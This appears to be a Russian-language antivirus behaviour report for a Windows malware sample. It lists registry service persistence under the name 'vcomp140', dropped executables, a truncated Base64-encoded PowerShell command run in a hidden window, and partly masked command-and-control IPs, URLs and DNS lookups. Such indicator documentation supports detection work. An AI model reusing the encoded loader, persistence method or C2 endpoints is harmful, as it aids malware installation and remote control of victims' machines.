Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\vcomp140] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\vcomp140] 'ImagePath' = '"%WINDIR%\SysWOW64\KBDIBO\vcomp140.exe"'
- 'vcomp140' "%WINDIR%\SysWOW64\KBDIBO\vcomp140.exe"
- 'vcomp140' %WINDIR%\SysWOW64\KBDIBO\vcomp140.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD IAAgAFMARQBUAC0AdgBBAHIAaQBhAGIATABlACAAIAAoACcATgA4ACcAKwAnADAAQgBoAHcAJwApACAAIAAoACAAWwB0AHkAUABlAF0AKAAiAHsANAB9AHsAMQB9AHsANQB9AHsAMwB9AHsAMAB9AHsAMgB9ACIALQBGACcARA...
- %HOMEPATH%\ubd6nyl\mb1rklp\v6y9i2yce.exe
- %WINDIR%\syswow64\kbdibo\vcomp140.exe
- %HOMEPATH%\ubd6nyl\mb1rklp\v6y9i2yce.exe в %WINDIR%\syswow64\kbdibo\vcomp140.exe
- '11#.#.227.42':443
- http://he##kan.bio/js/T8oCHm/
- http://11#.#.227.42:443/j65Dwvx/Arg2fBQeWx4RT/l4y5Wt5F985HXBdkm2L/vULU9/mUFaojlMheLooKIA/ihwvMDQtlRAnBKos/ via 11#.#.227.42
- DNS ASK ma####hdigital.com
- DNS ASK he##kan.bio
- '%HOMEPATH%\ubd6nyl\mb1rklp\v6y9i2yce.exe'
- '%WINDIR%\syswow64\kbdibo\vcomp140.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD IAAgAFMARQBUAC0AdgBBAHIAaQBhAGIATABlACAAIAAoACcATgA4ACcAKwAnADAAQgBoAHcAJwApACAAIAAoACAAWwB0AHkAUABlAF0AKAAiAHsANAB9AHsAMQB9AHsANQB9AHsAMwB9AHsAMAB9AHsAMgB9ACIALQBGACcARA...' (со скрытым окном)